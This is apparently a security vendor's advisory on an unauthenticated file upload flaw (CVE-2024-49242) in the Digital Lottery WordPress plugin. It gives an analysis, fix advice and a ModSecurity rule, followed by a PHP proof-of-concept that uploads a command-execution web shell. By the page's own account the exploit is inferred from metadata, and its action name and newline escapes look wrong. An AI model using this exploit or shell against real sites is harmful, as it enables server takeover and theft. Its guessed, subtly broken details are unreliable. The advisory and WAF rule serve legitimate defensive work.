Atomic Edge analysis of CVE-2024-49242 (metadata-based):
This vulnerability allows unauthenticated arbitrary file upload in the Digital Lottery plugin for WordPress versions up to and including 3.0.5. The CVSS score of 9.8 reflects the critical severity due to network-based exploitation without authentication, leading to complete compromise of confidentiality, integrity, and availability.
The root cause, inferred from the CWE-434 classification and vulnerability description, is missing file type validation during file upload operations. Likely vulnerable patterns include a PHP file upload handler that processes multipart form data or AJAX-driven uploads but fails to check the uploaded file’s MIME type, extension, or magic bytes. This conclusion is inferred from the metadata, as no code diff is available. In standard WordPress plugins, upload handlers often use a file input field and validate it via pathinfo($file[‘name’], PATHINFO_EXTENSION) or wp_check_filetype(). Absence of such checks leaves the endpoint exploitable.
Attackers can exploit this vulnerability by sending an HTTP request to the plugin’s upload endpoint, likely an AJAX action such as digital_lottery_upload_file or a similar handler registered with wp_ajax_nopriv_*. The request would include a multipart/form-data payload containing a malicious PHP file (e.g., shell.php) disguised with a benign content type. No authentication or nonce is required. The file is stored in a web-accessible directory, and accessing the uploaded file triggers remote code execution with the web server’s privileges.
The fix must enforce file type validation on the server side. Developers should use wp_check_filetype_and_ext() combined with a strict allowlist of permitted extensions (e.g., only jpg, png, gif). Additionally, the upload handler must implement capability checks (current_user_can(‘upload_files’) or a specific capability) and nonce verification to prevent unauthenticated access. Storing uploads outside the web root or renaming files with random hashes further reduces risk.
Successful exploitation grants unauthenticated attackers remote code execution on the WordPress server. This leads to full site takeover, database exfiltration, malware injection, and pivoting to internal networks. Atomic Edge research classifies this as a critical vulnerability requiring immediate action despite the absence of a vendor patch.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2024-49242 (metadata-based)
# Blocks unauthenticated file upload to Digital Lottery plugin
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:12492442,phase:2,deny,status:403,chain,msg:'CVE-2024-49242 - Digital Lottery - Unauthenticated Arbitrary File Upload',severity:'CRITICAL',tag:'CVE-2024-49242'"
SecRule ARGS_POST:action "@rx digital_lottery_upload" "chain"
SecRule REQUEST_BODY "@rx name=file" "t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2024-49242 - Digital Lottery <= 3.0.5 - Unauthenticated Arbitrary File Upload
// Configuration
$target_url = 'http://example.com/wordpress'; // Change to the target WordPress site URL
function exploit_upload($url) {
$ajax_url = $url . '/wp-admin/admin-ajax.php';
$upload_action = 'wp_ajax_nopriv_digital_lottery_upload'; // Inferred common AJAX action prefix
$shell_content = '<?php system($_GET["cmd"]); ?>';
// Create a temporary file containing the payload
$tmpfile = tempnam(sys_get_temp_dir(), 'cve_poc_');
file_put_contents($tmpfile, $shell_content);
// Build multipart form data mimicking a legitimate file upload
$post_fields = array(
'action' => $upload_action,
'file' => new CURLFile($tmpfile, 'application/x-php', 'evil.php'),
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_COOKIE, ''); // No authentication required
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
unlink($tmpfile);
echo "[+] Target URL: $urln";
echo "[+] AJAX endpoint: $ajax_urln";
echo "[+] Action: $upload_actionn";
echo "[+] HTTP response code: $http_coden";
echo "[+] Response body: $responsen";
if ($http_code == 200 && !preg_match('/error|invalid|failed/i', $response)) {
echo "[+] Exploit may have succeeded. Check the server for uploaded files in typical WordPress upload directories (e.g., wp-content/uploads/).n";
echo "[+] Payload file: evil.php with content: <?php system(\$_GET[\"cmd\"]); ?>n";
} else {
echo "[-] Exploit appears to have failed or was blocked. The endpoint/action may differ.n";
}
}
echo "Atomic Edge CVE Research - Proof of Concept (metadata-based)n";
echo "CVE-2024-49242 - Digital Lottery <= 3.0.5 - Unauthenticated Arbitrary File Uploadnn";
exploit_upload($target_url);
